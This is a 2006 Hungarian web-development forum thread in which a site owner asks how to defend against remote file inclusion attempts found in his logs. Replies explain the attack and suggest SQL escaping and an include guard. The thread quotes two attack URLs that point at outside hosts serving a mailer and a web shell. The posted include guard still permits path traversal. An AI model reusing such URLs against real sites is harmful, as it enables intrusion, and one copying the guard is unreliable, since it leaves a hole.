ugrás a tartalomhoz

Az open nevű GET paraméteremmel trükköznek hackerek az oldalamon

s_volenszki · 2006. Jún. 25. (V), 11.58
Sziasztok!

Szertnék tőletek véleményt, és tanácsot kétni!
A minap vettem észre az oldalam látogatói statisztikájában, hogy néhány okostojás, nem igazán arra használná a weboldalamat, amire az való!

Az oldal dinamikus tartalomból épül fe, úgy, hogy az index.php kap 3 értéket.
Pl.: A kezdő lap az ugye index.php, de ha valaki megnyit egy menüpontot és azon belül kiválaszt egy szolgáltatást akkor:

index.php?open=Menüpont&prodclassname=Faguriga

Az odal statisztikám figyeli azt, hogy ezek a változók milyen értékeket vesznek fel (statisztikázva ezzel a termékcsoportok látogatottságát), és az elmúlt két napban ezeket vettem észre:

index.php?open:http://ibank.glwb.info/mayer.jpg?
index.php?open:http://otravesso.100free.com/cmd.txt?

Ha megnézitek, láthatjátok, hogy az első, az egy adatbázis alapú levélküldő rutin,a második pedig egy valami szerver agyturka!

Nagyjából sejtem, hogy mi akar történni itt, de hogyan védekezzek ez ellen!

Az oldalak tartalma úgy keletkezik, hogy a $_GET-ből kiveszi az értékeket változóba, és azokkal a változókkal végrehajt egy adatbázis műveletet:
Sematikusan:

SELECT * FROM adattabla WHERE (open = $open) AND (prodclassname = $prodclassname)

Ezek alapján, azt gondolom, hogy híába próbál külső parancsot tenni a $_GET-be, mert a keletkező változó nem fordul elő a kódban úgy, hogy lefuthatna!

Mit gondoltok erről?

s_volenszki
‹ egész oldal újra betöltődésének kiküszöbölése Külföldi domain-ek regisztrációja ›
 ■
1

escapelni az SQL-t is kell, de nem vészes

Hojtsy Gábor · 2006. Jún. 25. (V), 13.17
A probléma esetedben nem vészes. Nekem úgy tűnik, hogy a próbálkozó ember vagy szkript arra épít, hogy talán egy include közvetlen paramétere az "open" URL értékben megadott karaktersorozat. Az is lehet, hogy van ismert rendszer, ami ezt az URL formát így használja, és törhető.

Mivel te nem include paraméterezésre használod, ezzel nem vagy támadható. Azért az SQL adatbázisodnak megfelelő escape módszert mindenképpen alkalmazni kellene a beérkező változókon. Magic_quotes_gpc ne legyen bekapcsolva, viszont sqlite_escape_string(), pg_escape_string(), mysql_real_escape_string() stb. használandó az adatbázisodnak megfelelően. Pl.
<?php
$sql = 'SELECT * FROM adattabla WHERE (open = "' . mysql_real_escape_string($open, $dbconn) . '") AND (prodclassname = "' . mysql_real_escape_string($prodclassname, $dbconn) . '")';
?>
Ezt persze szebben is meg lehet csinálni sokféleképpen, az már rád van bízva. Lényeg, hogy ha már a távoli megnyitásnak nem adsz teret, akkor az SQL beszúrásnak se...

Ps. megváltoztattam a témacímet, mert túl általános volt
2

escapelni az SQL-t is kell...

s_volenszki · 2006. Jún. 25. (V), 15.14
Köszönöm szépen a véleményt, örülök, hogy az oldalam és a tárhelyem nincs veszéléyben, és mindenképpen ráfexek erre az escape-elésre!

Köszi,

Volenszki Sándor
4

include

MoDuLaToR · 2006. Júl. 2. (V), 20.21
Include használta esetén is van megoldás pl: 


<?
<?php
if(isset($_GET['page']) AND $_GET['page'] != '')
  {
   if(file_exists($_GET['page']. '.php') AND strpos($_GET['page'], '://') === false)
     {
      include($_GET['page'] . ".php");
     }
   else
     {
      include("error.php");      
     }
  }
else
  {
   include("default.php");
  }
?>
3

Erdekes amit irsz

toro · 2006. Jún. 25. (V), 23.03
mert nekem is feltuntek mar hasonlo probalkozasok a lapomon.
nalam page a valtozonev. sokat nem tudnak vele tenni, mert ugy oldottam, meg, hogy ha nem korrekt a page valtozo erteke, akkor lukra futnak, de bizonyara igaza van Gobanak, hogy esetlegesen kontroll nelkuli include eseten olyan cimen futtathatjak a scriptuket, amivel elfedik a valodi URL-t

megneztem, a masodik url-t a NOD32 PHP/Webshell.F trojaikent azonositotta!!